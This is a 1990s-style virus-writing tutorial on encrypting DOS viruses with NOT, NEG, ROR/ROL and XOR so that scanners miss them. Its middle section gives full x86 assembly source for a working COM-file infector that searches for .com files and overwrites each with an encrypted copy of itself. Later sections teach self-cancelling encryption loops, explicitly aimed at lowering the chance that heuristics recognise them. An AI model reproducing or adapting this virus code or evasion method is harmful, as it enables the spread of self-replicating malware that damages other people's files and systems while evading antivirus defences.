-- An effort to help the naked virus. Encryption: Part 2 -- By: Sea4 Well, I hope I have answered all your questions about XOR and why virii need to hide behind encryption in Part 1. Now for the fun part of encryption. Using everything besides XOR to change the bytes in your virii. XOR is good, and certainly has uses, but nowadays its been done to death, IMHO. It should be used with the other bit manipulators to form more complex, and hopefully undetectable algorithms for encrypting. A quick list might help get us started with the other useful instructions. Not, Neg, Ror, and rol are the ones I think are neccassary to viral survival, they must be used in certain ways though to allow proper decryption. NOT: ---- Its actually even more easy to understand than XOR but not used as much as I would like. Anyway... all it does is reverse the bits in an operand. So something like this: NOT BL Would change all the 1 bits from BL into 0 bits and vice versa. A small graph could help you understand it a bit more. BL = B4h = 180d = 10110100b NOT 101101000b <-- Only requires one operand. ---------- 010010111b <-- Result is placed in the same operand. As you can see its quite simple to understand, anything that was 1 is now 0 and likewise, anything that was 0 is now 1. This is one of the easiest to put into encryption too, because it takes 1 operand ( the value you want to reverse ). Furthermore, you may realize that if you preform the NOT again you come out with your original value :). We'll use the INT 21h instruction, to see what happens to it, because it is one of the more commonly used commands in virii. Lets assume AX has been set with the INT 21h command, and now its ready to be encrypted. NOT AX AX = CD21h = 52513d = 11001101-00100001b NOT 11001101-00100001b ; Original value of AX -------- -------- 00110010-11011110b ; End result = AX = 3D2Eh = 15662d ^--AH--^ ^--AL--^ Now we go from CD21h to 3D2Eh in one simple command ( 2 bytes long ), and we change our 'INT 21h' into a harmless 'CMP AX,??2Eh' where ?? is the next byte in the progge. Thats all I have to say about NOT for now until we get to using all the instructions together. Thats where the real excitement begins. * Here is an example virus written explicitly for this tutorial. * Its shows how NOT AL can be implemented into a full fledged virus. -- Begin Virus -- Start: jmp Buffer ; Skip encrypt on first run! ;mov cx,End_virus-Hidden lea si,Hidden mov di,si call Encrypt jmp Hidden Encrypt: ; Encryption loop, this is the only thing lodsb ; that needs changing between different encryption not al ; commands. stosb loop Encrypt ret Hidden: mov ah,4Eh ; Find COM files for infection Find_next: xor cx,cx lea dx,Filemask int 21h jnc Open Exit: int 20h ; Close down virus filemask db '*.com',0 virus db '[Crypt]',0 author db 'Sea4, CodeBreakers',0 Open: mov ax,3D02h ; Open File for read/write mov dx,9Eh int 21h xchg bx,ax ; Move file handle lea dx,Start ; Write the encryption routine mov cx,Hidden-Start mov ah,40h int 21h lea di,Buffer ; Encrypt virus to buffer lea si,Hidden mov cx,End_virus-Hidden push cx call Encrypt lea dx,buffer ; Write that buffer to victim pop cx mov ah,40h int 21h mov ah,3eh ; Close victim file int 21h mov ah,4Fh ; Find next COM file jmp Find_next End_Virus: Buffer: lea di,Start ; Overwrites 'jmp Buffer' with 'mov cx,End_virus-Hidden' lea si,New_Bytes movsw movsb jmp Hidden New_Bytes: mov cx,End_Virus-Hidden -- End of Virus -- ROR/ROL: -------- We'll skip NEG for now and explain ROR, and ROL. Basically all they do is Rotate Right and Rotate Left. But you may ask, "Ummm, ok... I know WHERE they rotate, but WHAT do they rotate?". Its simple, they rotate bits... isn't that what we've been discussing? They take a value like 23h, and rotate the bits in it a specified # of places. The first operand is the one that will get rotated and the second is how many places it will be rotated. Again, lets use a short example. MOV AL,23h ; Loads AL with 23h ROR AL,1 ; Rotates the bits in 23h, 1 place to the right. Now for graphs... AL = 23h = 35d = 00100011b ; We are gonna drop the 'b' in this example ; so it doesn't get in the way. 00100011 ; 23h = 35d ROR ; Moves the Bytes '-->' 1 place -------- 10010001 ; 91h = 145d ^-- This bit came from the end of the other side, and since we are ROTATING the bits, it wraps around to the other side. Its almost as though the bits were on a wheel, if you imagine it in your head like that its very simple to understand. Now, any Tom, Dick or Harry knows that the value of AL just changed, so in essence we encrypted the byte, and we could use the 'ROL AL,1' command to get back our original byte, but that would require another command. And more commands equal more bytes, and more bytes means our virus will be more noticable. Noticable is BAD! We do not like noticable ( *Hint*: thats why we are learning encryption in the first place! ). So how can we utilize the ROR/ROL commands without wasting bytes...? Simple, we make it so that the second operand is equal to 4!! "Why 4 places?" Well... look at the graphs. ROR AL,4 ; Rotates the bits four places AL = 23h = 35d = 00100011b ; AL's value ROL 4 00100011 ; Starting number ; 23h <-- ; Rol 1 place 01000110 ; After 1 place ; 46h <-- ; Rol 1 more place 10001100 ; After 2 places ; 8Ch <-- ; Rol 1 more place 00011001 ; After 3 places ; 19h <-- ; Last time ( here is the interesting part ) 00110010 ; After 4th place ; 32h ^^--What happened here? I am not sure if you noticed but the HEX number rotated 1 place. 23h has now become 32h, pretty fucking cool for our purposes. You may again be jumping ahead of me in saying that "If we do another 'ROL AL,4' we will get back the original value of AL!!". Well, you would be perfectly right in that assumption. If a byte is 8 bits, and we rotate 4 bits... thats halfway! And so if we rotate another 4 bits, we have rotated the whole byte getting back to the original bit positions AND our original value. Rotating the first 4 bits is the encryption, and rotating the second 4 bits could be called the decryption. WOW! Like 'XOR AL,DL' ( in the first part of my encryption article ), and like the NOT command that we just did... the ROR/ROL instructions work twice the job with half the size. That is what we want! Ok, heres the part of the previous example that changes... its not very much as you may notice. Encrypt: lodsb ror al,4 stosb loop Encrypt ret ==================================== or with ROL... Encrypt: lodsb rol al,4 stosb loop Encrypt ret NEG: ---- To finish up the track we are on now, ( that is using one command for both encryption and decryption ), we are gonna cover the often forgotten NEG command. Like its sibling, the NOT command, it only uses 1 operand... the one we want to alter. Unlike NOT, and the other bit manipulators, it is based on value rather than the bits themselves. All it does is take the operand and subtract it from 00h ( or 0000h if it is a word [2 bytes] ). We have to use the graphs here because its hard to explain with words. MOV AL,23h ; Gives 23h to AL NEG AL ; Subtracts AL from 00h (or 100h to better visualize it) ; and places the resulting value in AL. AL = 23h = 35d = (binary doesn't matter here) ; It doesn't matter which because a byte is only 2 places 00h or 100h ; any value outside those 2 places is ignored. - 23h - 23h ; Subtracts 23h ( Trust me! NEG works out at the end ). --- ---- DDh 0DDh ; See? They both end up equal to DDh Heres the decimal equivalant for those aren't very good with hex. 256d ; 256d = 100h ( or 00h when working with just 1 byte ) - 35d ; 35d = 23h --- 221d ; 221d = DDh "Well Sea, thats fucking great! Why the hell do I care?" Well, if you were paying close attention to the other commands ( NOT/ROR/ROL/XOR ) you would realize they all can be done twice to arrive at the original number. Now if thats true here, we have found another command that can preform encryption on first run, and decryption the second time. Lets see if good ol' NEG can do that: Decimal Hex ------- --- 256d 100h or 00h ; What NEG always subtracts from! -221d - DDh or -DDh ; The value we ended up with last time ---- ---- --- 35d 23h 23h ; The Number we started with IT WORKED!!! Neg is a useful encryption instruction. Well... well... don't you owe me an apology, don't you? And lastly here is an example section using NEG... Encrypt: lodsb neg al stosb loop Encrypt ret Hopefully you understand that each of those instructions does well by itself. Unfortunetly, there are times when they don't work. The command does what it should, but the resulting byte is the same as the one you started with. For example: ROR/ROL switch the hex characters from something like 23h to 32h by rotating four places... but with CCh, DDh, AAh, etc. the result is the not really encrypted. Another example is NEGing by 0 or 80h, if you do the proper math they both end up with their starting values. They may be rare, but they still happen. So what is there to do about such 'errors'? I hope you figured it out! I may have mentioned it before, but if you combine 2 or more of these instructions they can have a great effect on the complexity of the encryption. How do you do it right though? Just slapping commands together is risky. You can do what I do and make a dual function De/Encryption loop. In the first part of my encryption tutorial I gave an example virus with the following loop: -- Start Encrypt: ; This has been slightly modified to provide a better ; understanding of what is going on. lodsb ; Stores the byte from [SI] into AL ( I call it the ; victim byte ), then increments SI. "encryption command" ; This modifies AL with one of the following ; encryption commands. ; not al ; neg al ; ror al,4 ; rol al,4 ; xor al,?? ( ?? can equal a value or a byte sized register ) stosb ; Stores AL into the byte at [DI] and then increments ; DI. loop Encrypt ; Decrements CX, then if CX is not 0 it jumps to the ; specified location ( in this case 'EncLoop' ). ret ; Goes back to caller, the stack cannot be modified ; because of this command. -- End It only needs SI (where to get the bytes to encrypt), DI (where to put the encrypted bytes), and CX for the number of bytes. After it is called it does the encryption routine on the specified region, and jumps back to the caller. The outer parts with the 'loop' and such are basic things that will not need to be changed much with each different virus or encryption routine. Where it says "encryption command" is the important part. We do what is called 'plugging in'... since the shell just holds the part we care about, we can take out, and put in what we want. There are a few criteria though. 1) Since the 'victim byte' is AL, the encryption commands should modify... You guessed it, AL! 2) Another thing is that the encryption should NOT modify CX, DI, SI or the Stack ( SP ) unless you know what you are doing. 3) The most important point for us though, is that we should be able to run the Encrypt loop on anything twice, and end up with the starting byte. This is important because we are gonna use the same loop to encrypt AND decrypt. Saves space and makes it look cool. The commands 'NOT AL', and 'NEG AL' by themselves do that perfectly, but we already realized the need for more than one. So how do we get them to play nicely together? Its a simple idea, but hard to explain. I'll give you an easy example to start with, and explain it afterward. Not al ; Oposite bits of AL Neg al ; NEGs AL or ( NEGates AL ) Not al ; Oposite bits of AL again OK, pay close attention here! This meets the first criteria and the 2nd, but does it meet the 3rd? By itself its hard to see, but remember that this has to be run twice to check its validity, so lets pretend we ran it twice. It would look more like this then... First Run Not AL Neg AL Not AL ; Byte is now encrypted Second Run Not AL Neg AL Not AL ; Byte is now decrypted "Who cares, it just does it twice... it encrypts it even more!" Not so! They cancel each other out! Here is a very important graph... Not AL *-----------| Neg AL *------| | Not AL *-| | | -- | | | Not AL *-| | | Neg AL *------| | Not AL *-----------| The last command of the first run cancels the first command of the last run, and vice versa! And the middle commands cancel each other! Isn't it great. No matter what number goes through the first thing, it comes out encrypted, but after going through again, it becomes decrypted! Just follow the lines and review the last few paragraphs till you realize what is going on. Its kind of like stacking plates on top of each other to encrypt, and then taking them off in reverse order to decrypt. Now to make sure you get the full impact of this, here is a larger example with the same type of graph, but this time if you look at it as canceling ITSELF, you can create loops as fast as you can type em. xor al,C4h ; Start stacking the plates... | neg al | | ror al,4 | | | xor al,E3h | | | | *not al ; Last plate | | | xor al,E3h ; Start taking em off | | ror al,4 | neg al xor al,C4h Now... how does it cancel itself. Notice that 'not al' is the only instruction that is not repeated. It is also the center of the routine. If you removed the 'not al' you would notice that the routine would do nothing at all to any victem byte, but since we have a command at the center that changes that, its works! So after running those 9 commands we get an ecrypted byte. After running them again the byte becomes decrypted. If you are gonna build a loop like this, try not to make it too long. Here are some basic rules... 1) Always have a center instruction 2) Make sure all the commands are reversible... like if you did them twice to the same byte, it would encrypt then decrypt. 3) Commands after the center command, should be in reverse order. Like above. 4) You shouldn't modify the stack, CX, SI, or DI unless you are sure. 5) Don't do the same command twice in a row, like... xor al,4h xor al,4h not al xor al,4h xor al,4h They just cancel each other out, and you really only end up encrypting with a 'not al'. 6) Another combination you shouldn't use is not al xor al,0FFh XORing by FFh or FFFFh is the same as NOT. So this would be a waste. Well thats all there is to know about how those instructions work, but now for how to put them into a virus. Above I showed you an example of a dual function, encryption/decryption loop... here is again for those of you not paying attention. :: Comments were removed :: -- Start Encrypt: lodsb "encryption command" ; not al ; neg al ; ror al,4 ; rol al,4 ; xor al,?? ( ?? can equal a value or a bytes sized register ) stosb loop EncLoop ret -- End Where it says "encryption command" is where you can put any combination of commands that fit the above rules. Just use the example virus from the section about NOT and plug in your encryption routine. Test it out and make sure it works. Yup, that seems all you need to know to make more complex stuff than simple XOR. There are several advantages, like many more different possible encrypted versions, less likey that it will be recognized as a decryption routine by heuristics, and its more creative. Of course, we are not even half-way through what I know about encryption. Here are a few of the things I still want to teach: 1) More encrypting commands... SUB, ADD, and XCHG! 2) Encrypting word sized values with XOR, 65,535 different keys!! 3) A little idea from a fellow CodeBreaker ( Aperson ), using the victem file's own bytes to encrypt against! 4) Using ROR/ROL with values other than 4! 5) Double and Triple level encryption! 6) That appending example I promised. 7) How to change the values used to XOR with, randomness, system clock, and the incremental way.